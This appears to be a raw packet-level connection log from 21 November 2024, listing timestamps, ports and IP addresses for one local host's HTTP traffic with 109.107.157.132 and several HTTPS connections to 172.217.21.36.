Nov 21, 2024 22:33:05.908413887 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.908471107 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.908503056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.908540010 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.909252882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.909293890 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.909373045 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.909410954 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.910085917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.910125971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.910201073 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.910237074 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.910950899 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.910998106 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.911070108 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.911108971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.911784887 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.911823988 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.911895037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.911933899 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.969712019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.969731092 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.969780922 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.969798088 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.969976902 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.970026016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.970046043 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.970093966 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.970815897 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.970866919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.970902920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.970944881 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.971788883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.971836090 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.971867085 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.971908092 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.972476959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.972521067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.972590923 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.972636938 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.973329067 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.973375082 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.973443985 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.973499060 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.974140882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.974190950 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.974283934 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.974328041 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.975011110 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.975059986 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.975078106 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.975119114 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.975836039 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.975904942 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.975976944 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.976022959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.976702929 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.976748943 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.976825953 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.976875067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.977526903 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.977575064 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.977669954 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.977715969 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.978370905 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.978418112 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.978451967 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.978494883 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.979202032 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.979248047 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.979322910 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.979367018 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.980051041 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.980098963 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.980221033 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.980269909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.980895042 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.980942011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.980952024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.980993032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.981743097 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.981789112 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.981950045 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.981997013 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.982584000 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.982630014 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.982667923 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.982713938 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.983422995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.983469009 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.983536005 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.983586073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.984276056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.984325886 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.984355927 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.984397888 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.985085011 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.985132933 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.985203028 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.985249996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.985940933 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.986011982 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.986042023 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.986089945 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.986789942 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.986845016 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.987040043 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.987087965 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.987642050 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.987688065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.987720966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.987766027 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.988488913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.988537073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.988565922 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.988610983 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.989372969 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.989420891 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.989453077 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.989499092 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.990163088 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.990209103 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.990288019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.990333080 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.991003036 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.991050959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.991050959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.991101027 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.991833925 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.991882086 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.991947889 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.991996050 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.992727995 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.992774963 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.992842913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.992888927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.993556976 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.993577003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.993602991 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.993623972 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.085376978 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.085496902 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.085567951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.085618973 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.085764885 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.085813046 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.085850954 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.085896969 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.086601019 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.086648941 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.086715937 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.086760044 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.087435961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.087481022 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.087661982 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.087707996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.087774992 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.087817907 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.088525057 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.088571072 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.088628054 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.088671923 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.089466095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.089514017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.089517117 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.089560032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.090255976 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.090297937 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.090301991 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.090336084 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.091226101 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.091272116 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.091433048 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.091481924 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.091896057 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.091943026 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.091976881 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.092021942 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.092973948 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.093022108 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.093050003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.093106031 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.093604088 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.093651056 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.093708038 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.093755007 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.094419956 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.094466925 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.094495058 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.094541073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.095257044 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.095304012 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.095325947 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.095370054 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.096102953 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.096155882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.096158981 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.096189022 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.096940041 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.096988916 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.097037077 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.097084999 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.097796917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.097846985 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.097873926 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.097912073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.098654985 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.098705053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.098772049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.098817110 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.100044966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.100095034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.100353003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.100363016 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.100374937 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.100394964 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.100426912 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.100529909 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.101166010 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.101212978 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.101238966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.101283073 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.102013111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.102058887 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.102195024 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.102241039 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.102818966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.102874041 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.102998972 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.103046894 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.103667021 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.103712082 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.103714943 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.103759050 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.161469936 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.161590099 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.161685944 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.161922932 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.161942959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.162062883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.162108898 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.162211895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.162755013 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.162802935 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:06.162812948 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:06.162858009 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:08.037115097 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.037199974 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.037277937 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.037591934 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.037626982 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.343265057 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.343300104 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.343468904 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.343745947 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.343772888 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.409642935 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.409677982 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.409751892 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.409986019 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.410001993 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.498815060 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.498857975 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:08.499105930 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.499371052 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:08.499396086 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.482815981 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:09.482878923 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:09.734213114 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.734507084 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:09.734574080 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.736017942 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.736116886 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:09.737169027 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:09.737267017 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.737340927 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:09.737359047 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:09.781554937 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.077277899 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.077629089 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.077650070 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.078624964 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.078691959 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.079117060 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.079180956 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.079307079 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.124906063 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.124924898 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.171783924 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.198146105 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.199641943 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.199664116 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.201220989 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.201292038 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.201761961 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.201839924 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.201945066 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.247343063 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.249917984 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.249928951 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.284442902 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.284733057 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.284750938 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.285717010 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.285779953 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.286164999 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.286232948 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.296770096 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.329525948 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.329543114 CET	443	49742	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.374905109 CET	49742	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.565099955 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.565267086 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.565366030 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.566395998 CET	49739	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.566432953 CET	443	49739	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.934959888 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.935038090 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.935065985 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.935090065 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.935116053 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.935163975 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.935192108 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.949563980 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.949614048 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.949626923 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.957335949 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.957355022 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.957381010 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.957396030 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:10.957442999 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:10.964334011 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.016041040 CET	49740	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.055749893 CET	443	49740	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.070576906 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.070925951 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.070985079 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.072005033 CET	49741	443	192.168.2.4	172.217.21.36
Nov 21, 2024 22:33:11.072017908 CET	443	49741	172.217.21.36	192.168.2.4
Nov 21, 2024 22:33:11.109275103 CET	49740	443	192.168.2.4	172.217.21.36
